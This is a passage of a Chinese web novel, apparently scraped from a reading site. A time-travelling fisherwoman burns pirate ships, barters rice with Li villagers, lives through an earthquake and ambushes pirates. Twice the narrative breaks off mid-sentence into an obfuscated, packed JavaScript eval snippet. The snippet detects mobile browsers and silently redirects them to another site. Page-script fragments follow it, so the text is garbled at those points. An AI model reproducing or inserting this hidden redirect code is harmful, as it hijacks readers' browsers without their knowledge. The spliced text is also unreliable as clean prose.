她演练了好几天,最终选了个风不大日落时分,游到位置有所变化的旗舰船边,小心翼翼做了攀岩个支撑点,然后回去自己的海边准备两艘火船,等船大半着火后冒着烧伤的风险带去大船边。夜半,两艘着火的小船在偌大的旗舰边根本显不出船形。苏茜又靠着通气管子和小岛艰难潜游。因此船上的人一开始还以为是哪个船底舱室起火,一部分人下到舱底,一部分人去拿水桶工具。
等船上的护卫发现是火船打算找出来哪个搞破坏的家伙时,苏茜已经到了百米外回岛上休息。呛水、烟尘、烧灼、疲劳,虽然没有什么伤,但够呛。她躺了几个小时才恢复力气。
吃喝点东西,继续睡。
等晚上,在海水里冒出头观察下。
旗舰烧出一个大洞,还有些倾斜。没完全烧毁,但也不能开了。
周围围满船只。
嗯,船!
苏茜冷笑了下,游过去,收走了十条无人小船和一艘大些的艇。
这艘艇有意思!不大,有帆,有桨。桨可以多人也可以单人双桨。风帆很新的样子,操作起来挺轻巧,船锚明显也是新的。可以说是苏茜见过最好的小海船。
她直接用这个小船出自家海,找个之前没来过的地盘打鱼,再利用风力绕岛大半圈拖了大渔网回来。大小鱼虾蟹有几十公斤。
真是让人愉快的烦恼啊!她一边做熏鱼肉海带和烤鱼干虾干,一边用两只锅煮两只大螃蟹。
螃蟹没啥肉,煮蔬菜蟹肉粥吧。她看了看情况不是很好的种植箱,想着自己一个人干了那么多事,也该结束了。
修整两天后,她再去看那片海岸……没船了!
她一时气不过,又跑到岛上。岛上人手充足,可也不可能在每个地方都安排大批人手每晚紧盯。所以苏茜最后一次毫不客气地将所有能带走的东西都带走了,别说粮油肉菜贵金属和珍珠丝绸兵器,连粗布和陶罐铁锅都带走,走的时候还顺走一艘不大不小的帆船。
等她清理完了战利品,在食物腐坏前全部吃掉或腌制或熏制都处理完,岛上也有些乱套了。岛上可能认为是被岸上派来的斥候小队盯上,派人离开岛到四处搜寻这支队伍的“藏身处”,有些是往陆地去打探,有些回老巢。
苏茜可没本事拦截,她不可能在大白天一打二十。
干脆施展上计,走!她修改了生物钟,傍晚后驾小帆船向正南方偏东。
因为风帆方向问题,必须自己划船。
30.疍民没饭吃(四)
快两个月后,船,触礁了!
因为速度慢,船没坏。但头一回触礁的感觉真心奇怪。
在没有导航的情况下,她谨慎地收起船上岸。现在是初秋,天蒙蒙亮的时候,温度摄氏二十八度,不下雨。
她在这片礁石区域“探索”了会儿,感觉不太对:水面好像在上涨?回去找了篓子,将见到的鱼虾蟹,包括一只还想挣扎的鱿鱼全部装进去。
已经是上午,日头渐高,水也涨起来了。苏茜这才恍然大悟:这是纯粹的礁石岛嘛!她高高兴兴拿了收获回去做饭。
她去年在岸上有收集各类野菜和蔬果以及种子,虽然去年到今年自己收获的种子不多,可增加一个人的膳食纤维和维生素等等是没什么问题的。何况战利品里还有三四十个大罐装的腌肉腌菜咸蛋、肉脯菜脯之类,更不要说山洞和地窖里都快堆不下的粮油酱料,若不是考虑到健康问题不能多吃这类食品,她甚至不需要赶海捕鱼割海藻海带就能解决吃饭问题。
换衣服鞋子,吃完饭,再泡一壶茶,洗衣洗澡,岛上的天还没黑就睡了。第二天凌晨,岛上寒气重了,方便下,喝几口凉白开,换上厚些的被子,继续睡。
吃了睡修整三天,苏茜在礁石区碰到了人类。
不是海盗倭寇海寇等任何一个品种,就是普通渔民,十岁出头的姑娘和一个中年妇人,双方保持一个不会让人警惕抢渔获的距离,之后再慢慢离远。礁石区域相当大,加上没有路,深一脚浅一脚,弄不好会崴脚甚至受伤,所以大家行走速度很慢,不到涨潮也难以发现其他人的存在。但船只还是很明显的。苏茜转了半圈,足足七条小渔船,全部是划桨的,而且多数是女性渔民。
附近肯定有村庄。
苏茜并不与人搭话,但看着那些船只离开的方向,在涨潮后换自己最满意的一条无标识双桨带蓬小船,布衣布裤布鞋的男装打扮。
她穿布鞋,衣服没有补丁,渔获才半桶,一边拿着竹茶杯喝水,一边慢悠悠在正午多云的阳光下飘着。
其他船都走了。她则躺在小棚子里的凉席上,船的方向顺着风向,所以一直有风吹过。水面之上,温度摄氏三十六,湿度九十?果然,不久后,一阵雨噼噼啪啪打在棚顶。白天,大变活船不太好,而如果大变活人很可能船会被偷走,所以她无奈地坐起来,在三十三度的船篷口用燧石生火点了小炭炉煮海鲜。不过先煮一壶加了茶叶与薄荷叶的过滤雨水。
茶煮开后换大锅,加海水。水开后将去了内脏的海鱼,不大的两只蟹和剩下的虾、螺、蛎、蚶、贝、蛏、几种长得有点奇怪的海货还有海藻全扔进锅,然后加姜、酒和几种从洲岛上“收缴”来的香料,可惜没有葱和紫苏之类。
锅没盖子,不过无所谓,她躲去上风口就不会热死。薄荷茶的茶叶属于战利品,应该是发酵岩茶,略苦,配上薄荷的清爽有种独特的口感,很适合夏季,茶水快凉的时候再上一大盘海鲜,煮的水倒进海里,炉子熄灭放回岛上——谢天谢地,没有起大风,不然炉子一翻她的船就完蛋了,即使汤水倾覆出来都够她打扫的。
在上下前后左右晃着的船上慢吞吞吃了近两个小时,边吃边将残渣扔进海。
潮水退下去的不多,有些仍然在水面以下,她没看到船只。似乎来的人都是凌晨从陆地出发,到这边收获后拿回去吃和卖掉,尤其是妇人们还要家务和纺织种菜等活计,做完大概都要天黑了。
苏茜打着呵欠收船走人。回去洗澡洗衣服睡觉。
她在这里“混了”两天就上岸了——纯属想换口味了,另外买些今年的米,再看看陈粮能不能卖掉。
“早前啊这里啊黎人苦啊……”
老太太一边手织布,一边嘀咕着。
苏茜听起来非常费劲,而且为了不听反反复复的嘀咕,两个人互相“学习”方言。最后她用九袋陈粮存货换到老太太家的民族风土织布锦存货。
“你们验,随便抓。”她将袋子里的米倒进米缸,然后收起来,再换下一袋。九袋米将米缸全部装满。
老太太全家高兴疯了,小声尖叫着没敢让邻居听到——其实最近的邻居屋子在五十步外。米袋子可不是一担装,而是差不多十五到二十五公斤的样子,要不是岛上地窖还凑合,早就不像样了。加上她回收袋子的“良好”习惯,没人认为她小船上拎出来的粮有什么问题,即使有疑惑也会自己压下去。
……
苏茜将各种布料打包的几十斤大包裹肩扛回船上,走人。能找到这出有小水流的商业小村纯属意外。这边距离码头挺远,却处于几族交汇的地方,早年是黎兵营家属驻地,但后来兵营撤销,这个村子一下萧条,后来迁来不少岛内外的汉家渔人和樵夫、工匠家庭才稍微好些。看手上换到的存货还有几十年前的绣花布料就知道,早年这里还算宽裕。
而且,这里有些布料太小块只够包头巾,有些甚至还是“开衫”成衣,黎人少年系条腰带就穿出去——成年的就不行了,有些太短小。这家人也没想到居然有冤大头乐意用宝贵的米换这些几十年都没卖掉、都快成垃圾的玩意,连一些“珍贵”但已斑驳变色的丝织品也拿出来了。
其实苏茜很高兴这些吃不掉的陈米能派用场。何况很多衣服她可以在岛上穿。自家岛上的冬天跟外头差了十几摄氏度,所以租个房子还是自己建个房子还是住船上是个艰难的选择。
另外就是种菜的问题。
琼岛上山林供应不算多。要百年前,平地人去山里砍树,很可能脑袋被砍了。现在几族关系好了些,隔阂虽在,但买东西完全没障碍,这也是苏茜跟那老太太愉快易物交易的主因。
苏茜给自己做了黎汉女装,开始以女装出现。
山民最大的问题是口粮,平地则是燃料,盐都不愁,大家共同负担都是税和役。黎人不用服兵役,但各种税赋役以及针对他们的高价粮负担不轻。
苏茜不想女扮男装去当兵,也不想半夜被堵门收税,更不喜欢本地的蚊子。
冬季山林里居然还有蚊子!
她面无表情地在满小腿大大小小红疙瘩上抹了高价买来的药膏。
“哎呦,我们这里的姑娘咬多了就习惯了。”店主不仅高价卖掉进价没多少的药膏,还推销出去一大堆驱蚊虫草药和去年存到今年愣是没卖掉的外岛酒,乐开了花。这山外的族人就是有钱,做了七两银子的生意呢!不过看着对方身上的锦衣锦裙,不论娘家还是夫婿家肯定都有钱!
苏茜完全不知道就是因为一身“普通”漂亮的裙装,让老板娘以为是只超级大肥羊宰了——然后她就发现了,虽然双方语言交流没太大问题,但两人的衣服样式不一样,所以她被当成对头部族的人挨宰了?
气死了气死了!
她回去就换上“普通”汉装再出来,终于在买禽肉蔬菜水果和种子的时候没被宰——因为她都是等到本地其他人去买,搞清楚价格再上去的。
岛上除了本地产的比如鸡蛋和蔬果,其他都要被之前集市贵两三成,岛外品种的种子甚至贵近一半。但相对的,海外来的品种和外海渔获倒是便宜不少,比如本地产鲍鱼并不比大贻贝贵。
苏茜不想费劲潜海弄吃的,所以能买就买了。不过她没买鱼胶之类,倒是大家立等的现杀猪蹄髈连猪爪她买了一整个,连骨头带肉摊子上称有六斤,实际三公斤稍微多一点点,说明肉摊的短斤缺两严重。
还有,出了集市背后的两条尾巴是怎么回事?
苏茜有些好笑。经历了一岛的敌人,对这样的小贼提不起什么情绪了。她往没人的不适合赶海的礁石滩走,背后的人好像想在这里解决。
很好,她也希望如此。
等解决掉麻烦回到岛上,俩贼都带了短刀,持械劫匪杀无赦。可惜他们身上的战利品不多,才几两银子和百来文钱,倒是刀不错,很可能本地卫所弄出来的,有钱也不一定买得到,收下来作一次性武.器都行,还能嫁祸。
第二天,她驾船继续南下。
路过一个滨海红树林,有人在那里砍树。
苏茜犹豫了会儿,拿出望远镜观察到有著名的挂在树上的那种种子,停下船像是要钓鱼的样子——也确实钓到条鱼。等砍树的人走后,她在天黑前在红树林里摘了一大把树上的种子。
苏茜完全不懂怎么种红树林。她在岛上去找了块有泥土、经常被海水淹没的地方,将种子塞进土里——她的海退涨潮时间跟外面的不太一样。
不知道能种出来几棵树?或是一棵都种不出来。
* * *
小船继续南下,农历十一月底,之前冬天的气息彻底消失。阳光灿烂、气温摄氏二十五度,偶然来一阵雨,雨后的天空会分外晴朗。
除了绿色太少,没有任何其他缺点了。苏茜慢吞吞地划船,连吃饭喝茶都在船上,偶有路过的船只也不存在打招呼——各人都知道认得人家的船是什么样,对面那个衣服看着不错甚至还戴着奇怪大草帽的家伙不认识、船的样式也奇怪,自然不会来主动搭讪。
要不是考虑到用火安全和修炼问题,她不想回到只有九度还下雨的岛上。战利品里有件狼皮披风,不能跟貂皮比保暖也不柔软更不好看,但是长及踝的款式非常适合在温差大的地方之间切换。
酱料蔬菜海鲜饭底下的锅巴非常好吃,再配合鸡汤就是好吃两个字。食材新鲜、酱料齐全,就是砂锅难洗,而且在现有条件下几乎是不可能洗干净。但苏茜无所谓,这些厨具就是这样,隔几天用海水煮煮,实在不行就扔。她有得是买普通砂锅的银钱,每回都是买半打。
入夜,岛上室外已经只有摄氏五度,湿度百分之七十多。没下雨,但冷风很不舒适。
唯一让人愉快的是肉类和蔬菜水果可以放在室外几天不坏。
温暖干燥的室内修炼了两个小时再睡觉。
早上,醒得晚了,干脆将前天又跑上岸买的猪蹄膀炖了,边上煮粥,然后练武去。练完简单吃个海鲜青菜粥,做一批甜口的烤饼,再修炼。到下午蹄髈熟烂可以吃。这一天都在做菜、修炼和练武,傍晚简单洗洗两天的衣服,到天亮前晾到外面的船上等着晒太阳。
只除了隔几天得上岸采购一回,苏茜享受了三个月温暖宜人的冬天。
因为不再赶路,她甚至开始学习书法!
“据说”,书法都是从临摹开始的。所以她买了一堆看起来顺眼的字帖和文房四宝,尤其是写字的纸买得比手纸还多。
然后她发现了,原来哈,学书法是从结构开始。
最有用的字帖其实是印刷的宋体字。一是字多,二是结构得到大部分人认可,三是不会体现个人特征。
另外,不得不承认,字帖上不少字她不会读!不知道意思!有时候每个字分开她认得,合在一起压根不清楚在讲啥。好在自己买的本地注解版“蒙书”,虽然还是有不太认得的文字,但比字帖好多了。尤其是这不还有小说话本戏文,就是现在没有牡丹亭之类,亦或者只是她没买到。
唐诗三百首里,一多半作品有至少一个她不认识的生字!甚至还有名字和里面的文字都有不认得的,更不要说天书一般没有标点符号的繁体楚辞,她看着就跟看莎草纸上的希语手抄经文一样。幸好自己翻开一看立马还回去,不然纯属浪费钱。
早年的诗词收藏早就成了垃圾扔掉了,记忆里也只有耳熟能详的那些经典,所以她连猜带蒙的只能先抄了再说。等抄了半年,发现其实如果从《千字文》开始会省一点点力,因为注解她勉强看得懂!
天气很热,却也没有天天热到三十八度。
也许近海风大的关系。
呃,风似乎太大了?而且天有些阴沉。苏茜觉得不对,自己的船快翻了!即使手头没有测风力的机械,她也想起来有热带风暴这回事,果断收起只有几条杂鱼的网,收船回去,享受自家白天中午“仅有”三十一度的小岛。最重要的是,岛上夜里二十五度以下,外面三十,所以夏夜里她肯定是回岛上的。
岛上种植箱里的蔬菜因为用了腐殖土、厨余绿肥加得多且夜间加盖避免过多雨水而长得不错。平时买生鲜的时候她会多花几文钱买下半筐卖不掉的枯烂菜叶,一吊钱买下一整棵带了树叶的小杂树,时不时还挖些山坡上的土以及偷砍些不成材的树。
弄一把菜,将剩下的半只半大鸡拿出来焯水,然后跟米、菜一起煮。一个人吃饭、没有女仆的时候,真的不想讲究什么,更不想浪费时间在烹饪上。她要把晚上当凉被盖的被套和床单枕巾还有昨天和今天汗湿的衣服都手洗然后晾干,洗衣机烘干机只要等待俩小时,纯手工光体力活就要俩小时。
洗衣机和烘干机好像是很久之前的事了,再早的时候她还有过发电机呢,但太过久远,连痕迹都找不到,彻底变成垃圾的集装箱房子也都通过空间转移的规则扔自家的垃圾海滩去了。出于某种掩耳盗铃的心理,她从不去那个方向捕鱼。
除非是现杀的猪,苏茜不会在平均气温二十度以上的时间买猪肉,一般都是买现成的家禽让摊主现杀拔毛,连鸡蛋买得都不多,因为卖主都是攒一段时间拿来卖,谁也不知道哪个蛋放了多久有些变质。所以有时她会一天吃一只鸡,其余都是吃鱼或鱼干。
没有乳制品,有也不敢买,谁知道放了多少天。
总体上,除了“觉醒”后的那一天,她没再挨过饿。早年虚弱的身体现在被调理得挺好,尤其是这个身体更适应这里的气候和饮食,不会晕船,吃红薯土豆不烧心,更不会海鲜过敏——可难保不会乳糖不耐受。经期问题在饮食、药茶和修炼、练武的联合作用下规律且不再痛经,哪怕腿脚浸在自家冬天的冰冷海水里,只要时间不太长也没事,更不用说南海的海水。
两天后的午后出岛,又恢复了风和日丽,但居然热到三十九度!
这热得不太对劲啊?
回去!回去“享受”我的二十五到三十一度。
即使只吃海藻饼,也比在水面上晒死强。
岛上傍晚的时候,苏茜出来。她现在的方向是远离崖州偏北向东,路上无船。风力大概五级,不适合海钓,但撒了渔网然后扯开风帆也比较省力——谁家像她这样捕鱼会破产的,不过她不交人头税、渔税、田税、船税也不服役,确切的说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065360|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她是个没有身份的疍民黑户,弄的渔获也就是自己吃和改善岛上土壤。
晴朗无云的海上,落日非常壮观,看一千遍也不会腻味。
现在船在慢慢地飘向西北方向,苏茜也不管。一阵浪头打下,将她浇了个凉爽。
晚上似乎风浪更大了。苏茜在狭小的船上摆开姿势练武,船只上下晃动,照样金鸡独立。
快半夜了,收网。收获,只能说也就够饱餐两顿。
她连网到的鱼虾都收回岛,正想喝掉最后一口茶收船回去,突然就是一阵头晕。这感觉?接连好几个大浪,让她连忙收船跑路。
身体没有问题,海上没有特殊变化,也没有听到特别的声响,但刚才的那阵头晕,怎么那么像她经历过的两次大地震呢?都是这样莫名其妙的头晕,然后知道有大地震的消息。
她换了衣服,先睡觉。次日将昨天的收获在石板上煎了吃。吃完找史料。
快中午时才找到:琼州地震。几十个村庄沉入海底,死伤统计数字不准。
等第六天她从帆船改为手划船一路登岸——不清楚现在的地名,但根据地形地貌估计得出四百年后的地名——这里距离震中仍然不近,因此也就是一些草棚倒了,现在已经重新搭起来了。
连鱼市和镇上集市的价格也没有多少变化,因为不可能有平民为了看热闹走上好几天,只有个别遭灾的过来投奔亲戚,才将那边的情况告知——但与房子一起沉入海底的村民不可能有活着走到这一带的,所以听到的消息也就是地动,房屋倒塌有人死了。竹楼草棚倒了伤得多死得少,何况现在很多人睡房顶或是院子里,倒是年久失修的砖瓦房倒了才麻烦。
苏茜买了柴,买了鸡,还有持续性买的种子,然后去二十公里外的“附近”山林找绿肥和木头。谁让这方圆百里的树木都是有主的,连柴禾都是主家让雇农家的大孩子去砍的。所以苏茜背着背篓走在无遮无挡的官道上——还无法回岛,因为时不时有人经过,只能像是找野地方便似的离开官道走下去半里地,才有略荒的地方。
为了不被蚊子叮出传染病,她长裙布鞋加布袜绸裤,快中暑了。
回岛上煮了温热的草药凉茶,再烧个鸡饭,吃喝完修炼,睡觉。晚上继续走。这山算是比较大的小山,无主,也没有山民,理论上属于官府的地产,但没有猎物、没有药材、没有木材,最重要的是没有泉水,所以没有富人别院,连庙观都没有。只有稀稀落落的杂树杂草灌木和虫豸。哦,蛇大概都被吃掉了,所以没有蛇。
苏茜避开几个樵夫,换上“古老”的木鞋,去没有小道的接近山顶处扫枯枝败叶,挖泥,砍树。干了两天才下山。
第四天才走到一个比较大的集镇。这里可能更接近港口和治所,所以方言容易讲些。
“老伯,这两种木头鞋子各做五双——用整块轻些的木头做。”
“这是,鞋子?”实际四十可能都不到的老木匠看着“样品”发愣。
“是鞋子,踩在泥水地里不会被蚂蟥和蛇虫咬。抓到鱼还能放在鞋里带回家。”
“哈哈,这个主意不错。”抓鱼放里头的说法逗乐了老头,确认木料和大小,收下定金,约好五天后来取。“阿妹啊,那边遭了灾,你可以背些吃的过去卖,也别卖高价,这也算是救人命。”
“好,我知道,多谢。”她新买了一批糯米、粳米和米粉,还有偏贵的小麦面粉,正打算找机会出清几十公斤的陈粮呢。
* * *
“就这些了。你给我烧鱼的酱料,蔬菜水果、种子,都行。”这村子受灾严重。不过说实话,平民房子压根不值钱,所以伤亡不算严重。砖瓦房的聚居区的人和财才叫惨重,可他们抗灾害的能力仍然远超这些全家只有当家男人有一身好些衣服的穷人。苏茜交易的对象也是这些人,大家用酱料布头渔网之类换一点陈粮。
“……我自己做的砂酱能不能换?”
“怎么做的啊?”
“就是捞上来壳肉腌的。”
“行。”
“多谢!多谢!”妇人高兴得快哭了。用不是必需品的东西换这点口粮实在是太划算了。
最后三四公斤陈米,换了一罐酱、连罐的那种。她的易物价格很其实是亏了,比她买来时便宜一半还多,因为交易的物品本身并不值多少钱,只是她需要费力收集罢了。
按本地度量衡八十多斤在村口就全换走了。苏茜推着独轮推车来,最后将推车都换掉了,背了一个不轻的背篓走人。
不过在有人追上她之前就在官道半里处砍了两棵树,回岛上吃喝整理。
树木的用处太大了,干燥后能做饭烧水取暖,炉灰和燃烧后的灰烬都翻到岛上土壤和种植箱里。有调味料的剩余吃食没做肥料,全扔海里。
唯一不好的就是岛上湿度大,即使放在炉灶边也要好几个月才算基本干燥而不大量冒烟。
……
秋了,晚上以苏茜现在的体质得穿夹衣。跟南部相比,岛北部有比较明显的四季,而且偏阴沉湿冷,有点像她自己的小岛。
然后她就见到,或者说是摸到“传说中”的水下贞节牌坊。反正牌坊所“表彰”其实也是镇压的主人已经过世,看不到这情景了。
没多停留,她返回去拿自己的鞋子。
走到老匠人铺子前正好是第五天。付掉尾款,将木鞋放进背篓,顺便又买了些制作工具,走人。
三天后,她一身汉黎杂居渔村妇人的发型、头巾和衣裙,特意绕路走过正敲锣发告示的城门——城里进不去,也没必要进去——矿税正式撤销,而且定居的黎人家庭如果有当兵可以减大部分税和役。
苏茜对历史真的不熟。她印象里这个时期一直到新的朝代建立后的几十年里混乱且悲惨。翻通史似乎“只有”地震一件。可百姓的日子在史书里半个偏旁都不会有,除非搞出来什么大事或是死了五位数以上——还得会写文字的人替他们写出来、报上去或传出去。矿税,似乎有印象,是太监指个地方说这里有矿、交税,交不出来就全族完蛋。事实如何她不清楚,不过肯定有很多中等甚至中上阶层家破人亡的事情发生,才会被诟病。
大部分人都是麻木地活着、活一天算一天,也有很多衣着没补丁的人在那里大声叫好,甚至还有俩穿长衫的青年在比划着这是多么了不起的事并且痛骂矿税监。
苏茜听了很多,才将方言的矿税监与矿税、太监联系到一起。顺便提一下,太监一词她能说出五种明显不同的周边方言——不算往北的若干种,更不提外国方言。
啊,外国方言。
她回岛上就开始翻出来上辈子收集的各种语言书籍,练练舌头,别把“家乡话”全忘光。也不知道下辈子还用不用得到这些语言,下下辈子这些书还能不能翻看……反正港城时代早期的书已经变成垃圾烧了,后期的装铁箱保存才免了不到百年就成为碎屑的命运。
而,这个时代自己能做什么呢?学些什么或是留下什么呢?
茫然走了半天,集上买了点吃的,结果,拉肚子!幸好没有持续性腹泻,不然可能去掉半条命。
31.疍民没饭吃(五)
第二天,苏茜匆匆忙忙赶往镇子,找到家药铺,给了坐堂大夫二两银,才得到五张方子,买了二十多种常用药材各一大包以及药罐子和小泥炉,备着。若非药铺里没什么值钱的药材,那个大夫也不算奸猾,这家店甚至能敲走她好一整块银砖。
即使“算便宜”,她花出去的银子仍可以买一个人吃四年的粳米——如果换成饥荒年月,大概连四个月都不到,不过按上辈子银币换算的话只够买吃不到两年的面粉,而买药的话搞不好就是十来瓶“治百病”的鸦.片.酊。
所以,她这是买便宜了?但四百年后,她花一把铜钱的购买力就能买瓶黄连素加蒙脱石散搞定绝大部分腹泻问题,除非是其他疾病导致的。不,谁卖变质食品,她立马投诉。呃,货币物价和年代错乱了。要是修士时代,自己根本不会腹泻!
出镇,正巧远远一队士兵路过。好在现在天气凉快了,不然穿这一身再训练,搞不好就是这个年代治不了的热射病。
苏茜远远听到脚步声就在观察,于是第一个跑出官道躲到灌木丛后。几个路人不久之后也都避让开。七八十个士兵步行过去,高矮瘦壮瘦都有,有些洗褪色的军服都是不怎么合身的单层长袖长裤,脚上布鞋草鞋就是没人穿靴子——也许是气候的关系——打着旗帜,要不是配有兵器,从背后看还以为是中学生变装出游。想起来之前抗倭的那些士兵,装备一样差甚至可以说更破烂,但精气神完全不同。那是生死锤炼出来的气质,扛不过去的人都死了。
“听说北边要打仗,到处调兵呢。”
“南边也要兵的!北边?我们的兵过去能打吗?听说北边冬天冰天雪地。我这辈子都没见过下雪呢!真想看看。”
“行了,没有棉衣要冻死的。”
“……”
“……”
三个挑担小商贩边聊边走远。还有个推车的行人艰难地将车拉上官道靠着一棵歪脖树,然后把之前搬下车的东西都放上去,最后才推着走。
苏茜则是将货物都放到岛上,轻装徒步,半里路就越过了这些人往前走。现在她已经画了全岛的一半左右的大概地图,尤其是山林、集镇、港口、船坞和其他有价值的地点,跟手里的现代简易地图完全不是一回事,比例方位也有些失真,但确确实实是重要参考。手里已经破烂不堪的世界地图是好不容易保存下来的“古董”,最多到县郡级和知名大型岛屿,很多太小的地点都来自她的记忆而非地图标注。
这边的山几百年后是作为景区的,即使她曾来过也找不到路,因为山里本没有路,更没有商店和民宿。在晃了两天热得半死、在脸上拍死好几只大蚊子后,她不得不悻悻地回海岸方向。秋天的蚊虫太不像话了!
“新鲜的,都是今早捕的!”
“便宜卖啦!便宜!”
近午是渔船回来的高峰期——木帆船、手划船速度慢,上午赶不回来,而且搞不好交税都要排队。所以不少渔家妇人提了小篮子来小集子卖,虽然少了税,但买的人也少。
苏茜看了下,确实是半天左右的渔获,干脆一篮子都买下,再买一篮虫啃圆菜和足足一斤晒干的老姜还有别的调味料,在靠近海边的地方回岛。蒸饭捡菜,不高兴冒着凉飕飕的秋雨舀海水,因此直接用海盐加姜、本地山葱和米酒,将买来的一篮子杂鱼虾先煎后炖,味道还不错,虽然比不上现捞起的活海鲜立刻扔进煮开海水里的新鲜微甜口感。
本地城镇卖的精盐很不便宜,但沿海人家往往直接用海水煮熟鱼和菜,其他穷人则常用便宜的粗制私海盐,苏茜即使能制盐也懒得卖那么便宜。
岛上傍晚时温度已经降到摄氏十四度,白天没超过二十度,阵风大概四级,标准深秋。对比海边,现在“才”二十三度,所以冬季的琼岛偏南部是很舒服的。
要不以后冬天都睡在海上的船舱里?就是偶然可能碰到船被掀翻的情况——她已经被掀翻过一次了,亏得那一回船上没有放任何有价值的东西,自己更没有在睡梦中被溺亡。
最后纠结的结果,还是住在岛上,有大片地方可以修炼和练武还没有任何危险。热身后冲进凉寒风雨里练武也是一种锻炼。
何况,湿冷的冬天住在有暖炉的室内其实还是挺舒服的。
远远的,一队船队出发远行。
苏茜在船上煮着鱼鲜,岛上蒸着米饭,几个种植箱在甲板上晒太阳,同时晾干半长头发。洗头后在外面晾干既不会感冒也不浪费木头。就是种植箱里的蔬菜不少开始受不了岛上的寒冷。其他能撑住摄氏五六度“低温”的蔬菜品种在夜间都放在山洞里,常年有烧木头的暖炉在旁稍微加点温度。
蔬菜、草药和其他肉类就是苏茜目前不想远离陆地的原因,不然她早就跑南海上生活,据说那里常年二十五度还湿度适中,也不知道真的假的。如果有小岛肯定土壤贫瘠无法种植甚至压根没有什么土;而岛屿大的话可能有居民,同样是麻烦。还不如目前就按照这方式生活,反正算算年代,改朝换代的时候这个身体也差不多到寿命了。
……
新长裙用的是黎人织的布料,裙边图案是黎女特有,但样式则是汉家的,配上系绳斗笠和定制木底鞋,打扮奇怪但又十分实用,尤其走是湿泥路上。
苏茜背着新一季的蔬菜种子,岛上木屋到山洞之间堆满树木枝叶和腐殖质泥,手里两个藤制箱子,甩掉各种眼光,“回”到海边的海蚀小山地,然后从陆地上看不到的角度放出自己的手划带篷小船,离开陆地。
春夏的风向不对还经常变化,所以她没用帆船。
离得远了,看看天色,感觉下风向还测了湿度,打算碰碰运气下网捞鱼。
在太阳落下海平面前一刻,她突然发现远处,很远处,似乎有船队?商船队?要不自己避开,省得跟前年一样差点被大船掀起的浪头打翻。她回去拿了望远镜,在找渔村新定做的船篷边缘看过去。
嗯?
那个有些熟悉的风格,难道是海寇?联想到自己绕道的小城,她眯起眼,没动,静静等着船队靠近。再近些。
天黑了,那个船队与她相隔起码一海里地过去,而且越来越远。
她开始划着小船跟上,不,是原路返回。因为她不管用哪条小船都跟不上船队的速度。
……
今夜月色如水,星光灿烂。加上洋流方向正好给力,苏茜举木仓的时候,奇怪装束的海寇们正在陆陆续续从小艇上跳下海滩登岸。
这里附近似乎有个渔村?
第一声木仓响的时候,无人伤亡,甚至没有引起注意。
但第二声有人受伤后就不一样了。
后装弹线膛木仓的射程、精确度和效率不是这个时代的火铳能比的。
苏茜打伤了七八个海寇,引来上百号追兵才回岛。
衣服泡了随便洗洗,挂在木屋里,然后睡觉。
第二天,苏茜修炼练武做吃的,接着是洗床品三件套。傍晚才出来看情况。
肉眼以内没人。望远镜一点点找,找到了小船、船上有人,还有海寇大船——大船要接人走不是,所以还在呢!
苏茜算了算距离。这个距离划船会被看见,游泳则是到了那儿肯定体力不支……先回岛上先准备材料。能看到的是两艘大船,其他地方还有,所以一艘火攻,一艘烧了帆?但考虑到材质和工具,即使她今年用一艘手划小船换来好几桶灯油和桐油——本来是想自己造个防雨棚的——距离燃烧.弹也得有一个光年的距离。
对付大船,要么用火船,要么爬上船到处倒油再点燃。第三种法子就是把小船上的人干掉将小船都收走,让海寇一时回不去干着急,或者永远留在岸上。
最后苏茜选了第三种。
小船距离近,好对付。
入夜后她就开始行动。谢天谢地今晚是阴天,没月光,视线很差。她在半夜前游到小船边,先将没人的船统统收走,然后拿自己天天练的长剑,出其不意砍了三个,几乎无声地收走三条小船。之后的守卫有两个是用之前军营里给的弓箭,剩下的三个被惊动跑来的护卫都是面对面砍的。
一对三,敌人一死二伤。受伤的一个是用飞刀干掉的,最后一个跳海里找不到了。
苏茜没多耽搁,收了船立刻回岛。
从头到尾,她都穿着高价买来的鱼皮水靠,脸上也是头套,半个音节都不发出,加上平板的身材……即使那逃走的能活命也认不出她。
那么多船啊!虽然不能卖了引起人怀疑,但未来几十年总能用上,不行还可以直接当成大型种植箱!
苏茜最终选了三条平底小船,弄出三个大型种植箱。其他的继续搁浅。
两天后她一身裙装,包了头巾,划着小船找到附近渔民码头。
然后就被塞了一张白条,船被征用了!
“这是?”
“这位大娘,我们需要船追海寇。”一名年轻士兵匆匆解释了一句,集合了四个人就跳上船走了。
其他士兵则是示意她离远点。
白条上,语焉不详地说如果船一年内还不回来就给银十两。没说一年内怎么还,也没写明一年后找哪个卫所要银子!没用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069242|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
印,没有画押,没有签字,甚至没有日期!
如果苏茜是真正的平民,能当场气得脑出血而亡。
好在她刚收了不少船,船上还有些战利品,虽然食水衣服全扔了,光是找到的四个颇具收藏价值的官银锭和一柄长刀就值回本了。
她怔了会儿,干脆往内陆走。
要挖三船土质好的泥,还有绿肥,加上减少雨水的篷盖,再买点各种食材换换口味——绝不能买现成吃食,她不想再拉肚子了。
走出士兵控制区域,只要有超过五个人的地方,都在说杀贼寇和认识的人的什么亲戚被害之类的事,间或还有办丧事的。
